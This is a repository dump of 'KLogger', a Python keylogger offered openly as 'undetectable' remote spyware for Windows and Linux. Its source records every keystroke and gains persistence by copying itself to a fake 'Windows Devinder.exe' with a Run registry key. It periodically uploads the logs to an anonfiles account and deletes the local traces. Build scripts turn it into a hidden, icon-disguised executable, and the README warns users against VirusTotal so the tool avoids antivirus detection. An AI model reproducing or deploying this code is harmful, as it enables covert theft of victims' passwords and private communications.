├── README.md ├── Utils ├── banne_r.py ├── generator.py └── utils.py ├── linux_setup.sh ├── logger.py ├── src ├── 1.png ├── 2.png └── AV.png └── win_requirements.txt /README.md: -------------------------------------------------------------------------------- 1 |

2 |
3 |
4 | K🔑Logger v3.0.0 5 |
6 |

7 | 8 | 9 |

10 | 11 | 12 | 13 |

14 | 15 | 16 | ### Description 17 | Remote persistent 🔑Logger for Windows and Linux 18 | ### Features 19 | - Logs keys pressed on keyboard 20 | - upload reports in [anonfile](https://anonfiles.com/). 21 | - Works with Linux and Windows. 22 | - Does not require root or admin privlages. 23 | ### All previous problems have been resolved 24 | ### It is still undetectable 25 | #### Requirements 26 | * python >= 3.8 ++ Download [Python](https://www.python.org/ftp/python/3.8.10/python-3.8.10-amd64.exe) 27 | * os : Windows 28 | * os : Linux 29 | 30 | ### Installation to Windows: 31 | 32 | ```bash 33 | git clone https://github.com/De3vil/KLogger.git 34 | cd KLogger 35 | pip install -r win_requirements.txt 36 | python logger.py 37 | ``` 38 | ### Installation to Linux 39 | ```bash 40 | git clone https://github.com/De3vil/KLogger.git 41 | cd KLogger 42 | chmod +x linux_setup.sh 43 | bash linux_setup.sh 44 | python logger.py 45 | ``` 46 | ### warning: 47 | ```bash 48 | * Don't Upload in VirusTotal.com Bcz This tool will not work with Time. 49 | * Virustotal Share Signatures With AV Comapnies. 50 | * Again Don't be an Idiot! 51 | ``` 52 | 53 | 54 | ## AV detection 55 | ![](src/AV.png) 56 | 57 | ![](src/1.png) 58 | 59 | *** 60 |

Abdulrahman Mohammed

61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | If this tool has been useful for you, feel free to thank me by buying me a coffee :) 70 | [![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://www.buymeacoffee.com/De3vil) 71 | [![B De3vil](https://img.shields.io/badge/$-support-ff69b4.svg?style=flat)](https://www.paypal.com/paypalme/De3vil01) 72 | -------------------------------------------------------------------------------- /Utils/banne_r.py: -------------------------------------------------------------------------------- 1 | import colored 2 | bannar_color =[ 3 | colored.fg("magenta") + colored.attr("bold"), 4 | colored.fg("orchid") + colored.attr("bold"), 5 | colored.fg("cyan") + colored.attr("bold"), 6 | colored.fg("yellow") + colored.attr("bold"), 7 | colored.fg("#bc000b") + colored.attr("bold"), 8 | colored.fg("white") + colored.attr("bold"), 9 | colored.fg("green") + colored.attr("bold"), 10 | colored.fg("#aa557f") + colored.attr("bold"), 11 | colored.fg("#33ff29") + colored.attr("bold"), 12 | colored.fg("plum_3") + colored.attr("bold"), 13 | colored.fg("#ff1d00") + colored.attr("bold"), 14 | colored.fg("#ab01ff") + colored.attr("bold"), 15 | colored.fg("#c81d59") + colored.attr("bold"), 16 | colored.fg("blue") + colored.attr("bold"), 17 | colored.fg("#c81d59") + colored.bg("cyan")+colored.attr("bold"), 18 | ] 19 | #==turquoise_2=============#ff013c================================= 20 | 21 | W = bannar_color[3] #yellow 22 | Y = bannar_color[0] #magenta 23 | B = bannar_color[2] #cyan 24 | G = bannar_color[6] #green 25 | R = bannar_color[4] #red 26 | M = bannar_color[7] ##aa557f 27 | X = bannar_color[8] ##33ff29 28 | Z = bannar_color[9] ##ff1d00 29 | Q = bannar_color[10]##ab01ff 30 | GG = bannar_color[11]##c81d59 31 | WI = bannar_color[5]#white 32 | BOOLD = bannar_color[12] 33 | bl = bannar_color[-2] 34 | F = bannar_color[-1] 35 | res = colored.style.RESET 36 | 37 | 38 | banner =f""" 39 | {Q}MiDo_de3Vil{GG} ██╗ ██████╗ ██████╗ ███████╗██████╗ 40 | {Q}KEY_loger_devil{GG} ██║ ██╔═══██╗██╔════╝ ██╔════╝██╔══██╗ 41 | {Q}KEYY_logeer_de3vil:{bl}...........................{GG} ██║ ██║ ██║██║ ███╗█████╗ ██████╔╝ 42 | {Q}KEY: :keylogger#:{X}KKKKKKKKKKKKKKKKKKKKKKKKKKKK^{GG} ██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗ 43 | {Q}KEY: :keylogge#:{X}EEEEEEEEEEEEEEEEEEEEEEEEEEEEE~{GG} ███████╗╚██████╔╝╚██████╔╝███████╗██║ ██║ 44 | {Q}KEY: :keyloggeY#:{X}YYYYG^ :!!^...5##5~~7B&#P^{GG} ╚══════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ 45 | {Q}.B&#?~7G&&&&&&&&#~:{bl}........................... {B}Created by{Q}:{X}AbdulRahman Mohammed{R}(De3vil) {WI} 46 | {Q}.Y&&&&&&&&&&&&G{Q} 47 | {Q}MiDo_de3Vil{Q} 48 | 49 | {WI}""" 50 | -------------------------------------------------------------------------------- /Utils/generator.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Author: Abdulrahman Mohammed (De3vil) 3 | # Don't touch my code, it's art 4 | #+============================== 5 | def build_t(token,time_interval): 6 | with open("Key.py","w+") as file: 7 | file.write("from Utils.utils import I_see_u \n") 8 | file.write("from time import sleep\n") 9 | file.write(f""" 10 | def run(): 11 | while 1: 12 | try: 13 | Log = I_see_u('{token}',{time_interval}) 14 | """) 15 | file.write("Log.Run()") 16 | file.write(""" 17 | except Exception: 18 | sleep(120) 19 | """) 20 | file.write(""" 21 | run() 22 | """) 23 | file.close() -------------------------------------------------------------------------------- /Utils/utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # TODO Author: Abdulrahman Mohammed (De3vil) 3 | # TODO Don't touch my code, it's art 4 | #+============================== 5 | from pynput.keyboard import Listener , Key 6 | import requests , shutil , subprocess 7 | import threading 8 | from requests import post 9 | from os import getenv , environ , path , chdir , remove 10 | from sys import executable 11 | class I_see_u: 12 | def __init__(self,token,time_interval): 13 | self.filename = getenv("Computername")+".txt" 14 | self.token = token 15 | self.time_interval = time_interval*60 16 | self.text = "" 17 | self.paths = path.join(environ["USERPROFILE"],"AppData","Local","temp") 18 | chdir(self.paths) 19 | def persistent_on_windows(self): 20 | _file_location = environ["appdata"] + "\\Windows Devinder.exe" 21 | if not path.exists(_file_location): 22 | shutil.copyfile(executable, _file_location) 23 | subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + _file_location + '"', shell=True) 24 | # TODO: Add all the letters (Done) 25 | # TODO: Add all quotation marks (Done) 26 | def KeyMin(self,argument): 27 | switcher = { 28 | "'a'": "a", 29 | "'e'": "e", 30 | "'i'": "i", 31 | "'o'": "o", 32 | "'u'": "u", 33 | "'b'": "b", 34 | "'c'": "c", 35 | "'d'": "d", 36 | "'f'": "f", 37 | "'g'": "g", 38 | "'h'": "h", 39 | "'j'": "j", 40 | "'J'": "J", 41 | "'k'": "k", 42 | "'l'": "l", 43 | "'m'": "m", 44 | "'n'": "n", 45 | "'ñ'": "ñ", 46 | "'p'": "p", 47 | "'q'": "q", 48 | "'r'": "r", 49 | "'s'": "s", 50 | "'t'": "t", 51 | "'v'": "v", 52 | "'w'": "w", 53 | "'x'": "x", 54 | "'y'": "y", 55 | "'z'": "z", 56 | "','": ",", # , 57 | "'.'": ".", # . 58 | "'_'": "_", # _ 59 | "'-'": "-", # - 60 | "':'": ":", # 61 | "'A'": "A", 62 | "'E'": "E", 63 | "'I'": "I", 64 | "'O'": "O", 65 | "'U'": "U", 66 | "'B'": "B", 67 | "'C'": "C", 68 | "'D'": "D", 69 | "'F'": "F", 70 | "'G'": "G", 71 | "'H'": "H", 72 | "'K'": "K", 73 | "'L'": "L", 74 | "'M'": "M", 75 | "'N'": "N", 76 | "'Ñ'": "Ñ", 77 | "'P'": "P", 78 | "'Q'": "Q", 79 | "'R'": "R", 80 | "'S'": "S", 81 | "'T'": "T", 82 | "'V'": "V", 83 | "'W'": "W", 84 | "'X'": "X", 85 | "'Y'": "Y", 86 | "'Z'": "Z", 87 | "'1'": "1", 88 | "'2'": "2", 89 | "'3'": "3", 90 | "'4'": "4", 91 | "'5'": "5", 92 | "'6'": "6", 93 | "'7'": "7", 94 | "'8'": "8", 95 | "'9'": "9", 96 | "'0'": "0", 97 | "'@'": "@", # @ 98 | "'#'": "#", # # 99 | "'*'": "*", # 100 | "'('": "(", # ( 101 | "')'": ")", # ) 102 | "'?'": "?", # ? 103 | "'='": "=", # = 104 | "'+'": "+", # + 105 | "'!'": "!", # ! 106 | "'}'": "}", # } 107 | "'{'": "{", # {} 108 | "'´'": "´", # ´ 109 | "'|'": "|", # | 110 | "'°'": "°", # ° 111 | "'^'": "¬", # ^ 112 | "';'": ";", # 113 | "'$'": "$", # $ 114 | "'%'": "%", # % 115 | "'&'": "&", # & 116 | "'>'": ">", # 117 | "'<'": "<", # 118 | "'/'": "/", # / 119 | "'¿'": "¿", # ¿ 120 | "'¡'": "¡", # ¡ 121 | "'~'": "~" , # 122 | "'ا '": "أ " 123 | } 124 | return switcher.get(argument, "") 125 | 126 | # TODO: Add all Numers Optimized (Done) 127 | def KeyMax(self,argument): 128 | switcher = { 129 | "Key.space": " ", 130 | "Key.backspace": "«", 131 | "Key.enter": "\r\n", 132 | "Key.tab": "", 133 | "Key.delete":" «×» ", 134 | "<96>": "0", # 0 135 | "<97>": "1", # 1 136 | "<98>": "2", # 2 137 | "<99>": "3", # 3 138 | "<100>": "4", # 4 139 | "<101>": "5", # 5 140 | "<102>": "6", # 6 141 | "<103>": "7", # 7 142 | "<104>": "8", # 8 143 | "<105>": "9", # 9 144 | "None<96>": "0", # 0 145 | "None<97>": "1", # 1 146 | "None<98>": "2", # 2 147 | "None<99>": "3", # 3 148 | "None<100>": "4", # 4 149 | "None<101>": "5", # 5 150 | "None<102>": "6", # 6 151 | "None<103>": "7", # 7 152 | "None<104>": "8", # 8 153 | "None<105>": "9", # 9 154 | "['^']": "^", 155 | "['`']": "`", # 156 | "['¨']": "¨", # 157 | "['´']": "´", # 158 | "<110>": ".", # 159 | "None<110>": ".", # 160 | "Key.alt_l": " [Alt L] ", # 161 | "Key.alt_r": " [Alt R] ", 162 | "Key.shift_r": " [Shift R] ", 163 | "Key.shift": " [Shift L] ", 164 | "Key.ctrl_r": " [Control R] ", # 165 | "Key.ctrl_l": " [Control L] ", # 166 | "Key.right" : " [Right] ", # 167 | "Key.left" : " [Left] ", # 168 | "Key.up" : " [Up]", # 169 | "Key.down" : " [Down] ", # 170 | # "'\x16'" : " [None] ", 171 | # "'\x18'" : " [None] ", 172 | # "'\x03'" : " [None] ", 173 | "Key.caps_lock" : " [Mayus lock] ", 174 | # "Key.media_previous" : " ♫ ", # 175 | # "Key.media_next" : " ♫→ ", # 176 | # "Key.media_play_pause" : " ■ ♫ ■ ",# 177 | "Key.cmd" : " [Windows] " 178 | } 179 | return switcher.get(argument, "") 180 | 181 | def on_press(self,key): 182 | 183 | with open(f"{self.filename}",mode='a' , encoding='utf-8') as file_txt: 184 | if (len(str(key))) <= 3: 185 | file_txt.write(self.KeyMin(str(key))) 186 | else: 187 | file_txt.write(self.KeyMax(str(key))) 188 | # TODO: (DONE) 189 | 190 | def send_mega_req(self): 191 | 192 | try: 193 | # print(self.text) 194 | timer = threading.Timer(self.time_interval, self.send_mega_req).start() 195 | files = {'file': (f'{self.filename}', open(f"{self.filename}", 'rb'))} 196 | url = f'https://api.anonfiles.com/upload?token={self.token}' 197 | post(url, files=files) 198 | remove(self.filename) 199 | except Exception as e: 200 | pass 201 | # print(e) 202 | 203 | def Run(self): 204 | self.persistent_on_windows() 205 | with Listener(on_press=self.on_press) as listener: 206 | self.send_mega_req() 207 | listener.join() 208 | 209 | 210 | -------------------------------------------------------------------------------- /linux_setup.sh: -------------------------------------------------------------------------------- 1 | rm /var/lib/dpkg/lock 2 | rm /var/cache/apt/archives/lock 3 | rm /var/lib/apt/lists/lock 4 | sudo dpkg --add-architecture i386 5 | sudo apt install python3 6 | sudo wget https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe 7 | wine python-3.8.10.exe 8 | wine msiexec /i python-3.8.10.exe 9 | sudo wine ~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/python.exe -m pip install --upgrade pip 10 | sudo wine ~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/python.exe -m pip install colored requests pyinstaller pynput 11 | pip install colored requests pyinstaller pynput 12 | pip3 install colored requests pyinstaller pynput 13 | apt install -y gnome-shell-extension-dashtodock -------------------------------------------------------------------------------- /logger.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # TODO Author: Abdulrahman Mohammed (De3vil) 3 | # TODO Don't touch my code, it's art 4 | #+============================== 5 | from Utils.generator import build_t 6 | from Utils.banne_r import banner ,G,R,B,X,Q,WI , Y , BOOLD , F,res,bl 7 | from shutil import rmtree 8 | import os 9 | from subprocess import call 10 | from os import system , name , remove 11 | if name =="nt": 12 | system("cls") 13 | else: 14 | system("clear") 15 | print(banner) 16 | class EngyRun: 17 | def __init__(self): 18 | self.filenampackeg = "Key.py" 19 | def enjoy_my_art(self,token,time_interval): 20 | build_t(self.token,self.time_interval) 21 | def rem_ove(self): 22 | global filenampackeg 23 | try: 24 | self.file = self.filenampackeg.split(".")[-2] 25 | self.spfile = self.file+".spec" 26 | self.rm_fl = remove(self.filenampackeg) 27 | self.rm_fl = remove(self.spfile) 28 | rmtree("__pycache__", ignore_errors=True) 29 | rmtree("build", ignore_errors=True) 30 | except Exception as e: 31 | print(e) 32 | def CompilinG(self,title_ico="CompilinG Start"): 33 | print(X+"║") 34 | print(X+"╚══["+R+"🔑-Logger"+X+"]──["+R+"~"+X+"]─["+R+title_ico+X+"] "+WI) 35 | system(f"pyinstaller --onefile --noconsole {self.filenampackeg}") 36 | self.rem_ove() 37 | system("cls") 38 | def CompilinG_icon(self): 39 | self.icon = self.colored_input(X+f"Set Your icon File",spaces=12) 40 | system(f"pyinstaller --onefile --noconsole --icon={self.icon} {self.filenampackeg}") 41 | self.rem_ove() 42 | def CompilinG_Linux(self): 43 | pyinstaller_path = os.path.expanduser('~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/Scripts/pyinstaller.exe') 44 | compile_command = ["wine", pyinstaller_path, "--onefile", "--noconsole", self.filenampackeg] 45 | call(compile_command) 46 | self.rem_ove() 47 | system("clear") 48 | def CompilinG_Linux_icon(self): 49 | pyinstaller_path = os.path.expanduser('~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/Scripts/pyinstaller.exe') 50 | compile_command = ["wine", pyinstaller_path, "--onefile", "--noconsole" ,"--icon="+str(self.icon), self.filenampackeg] 51 | call(compile_command) 52 | self.rem_ove() 53 | system("clear") 54 | def colored_input(self,title="menu",spaces=3): 55 | self.spaces = " "*spaces 56 | print(G+self.spaces+"║") 57 | line = G+self.spaces+"╚══["+Y+"🔑-Logger"+G+"]──["+R+"~"+G+"]─["+B+title+G+"]"+X+":"+WI 58 | try: 59 | return input(line) 60 | except KeyboardInterrupt: 61 | exit(0) 62 | def packing(self): 63 | self.compiling = self.colored_input(X+f"{B}compiling {WI}({X}Py{WI}) {B}TO {WI}({X}ExE{WI}) {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=8) 64 | if self.compiling == "y" or self.compiling == "Y": 65 | self.ico = self.colored_input(X+f"{B}You want set {X}icon ? {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=12) 66 | if self.ico == "y" or self.ico == "Y": 67 | self.CompilinG_icon() 68 | else: 69 | self.CompilinG() 70 | else: 71 | pass 72 | system("cls") 73 | if self.compiling == "n" or self.compiling == "N": 74 | exit(0) 75 | else: 76 | exit(0) 77 | def packing_linux(self): 78 | self.compiling = self.colored_input(X+f"{B}compiling {WI}({X}Py{WI}) {B}file to {WI}({X}ExE{WI}) {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=12) 79 | if self.compiling == "y" or self.compiling == "Y": 80 | self.ico = self.colored_input(X+f"{B}You want set {X}icon ? {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=12) 81 | if self.ico == "y" or self.ico == "Y": 82 | self.CompilinG_Linux_icon() 83 | else: 84 | self.CompilinG_Linux() 85 | else: 86 | system("clear") 87 | merry() 88 | self.choose() 89 | if self.compiling == "n" or self.compiling == "N": 90 | self.CompilinG_Linux() 91 | else: 92 | exit(0) 93 | def choose(self,spaces0=3,spaces1=7): 94 | spaces0 = " " *spaces0 95 | spaces1 = " " *spaces1 96 | try: 97 | self.token = self.colored_input(f"{BOOLD}{F}https://anonfiles.com{res}{bl}:{X}Token :",spaces=4) 98 | self.time_interval = self.colored_input(f"{BOOLD}{F}in minutes{res}{bl}:{X}Time :",spaces=4) 99 | self.enjoy_my_art(self.token,self.time_interval) 100 | self.choose_compiling() 101 | except Exception as e: 102 | print(e) 103 | def choose_compiling(self): 104 | if name == "nt": 105 | self.packing() 106 | else: 107 | self.packing_linux() 108 | x=EngyRun() 109 | x.choose() 110 | -------------------------------------------------------------------------------- /src/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De3vil/KLogger/9eb5ec14782d46073aec508d4bb06d834abac3b2/src/1.png -------------------------------------------------------------------------------- /src/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De3vil/KLogger/9eb5ec14782d46073aec508d4bb06d834abac3b2/src/2.png -------------------------------------------------------------------------------- /src/AV.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De3vil/KLogger/9eb5ec14782d46073aec508d4bb06d834abac3b2/src/AV.png -------------------------------------------------------------------------------- /win_requirements.txt: -------------------------------------------------------------------------------- 1 | pyinstaller 2 | pynput==1.7.6 3 | requests==2.28.1 4 | colored 5 | --------------------------------------------------------------------------------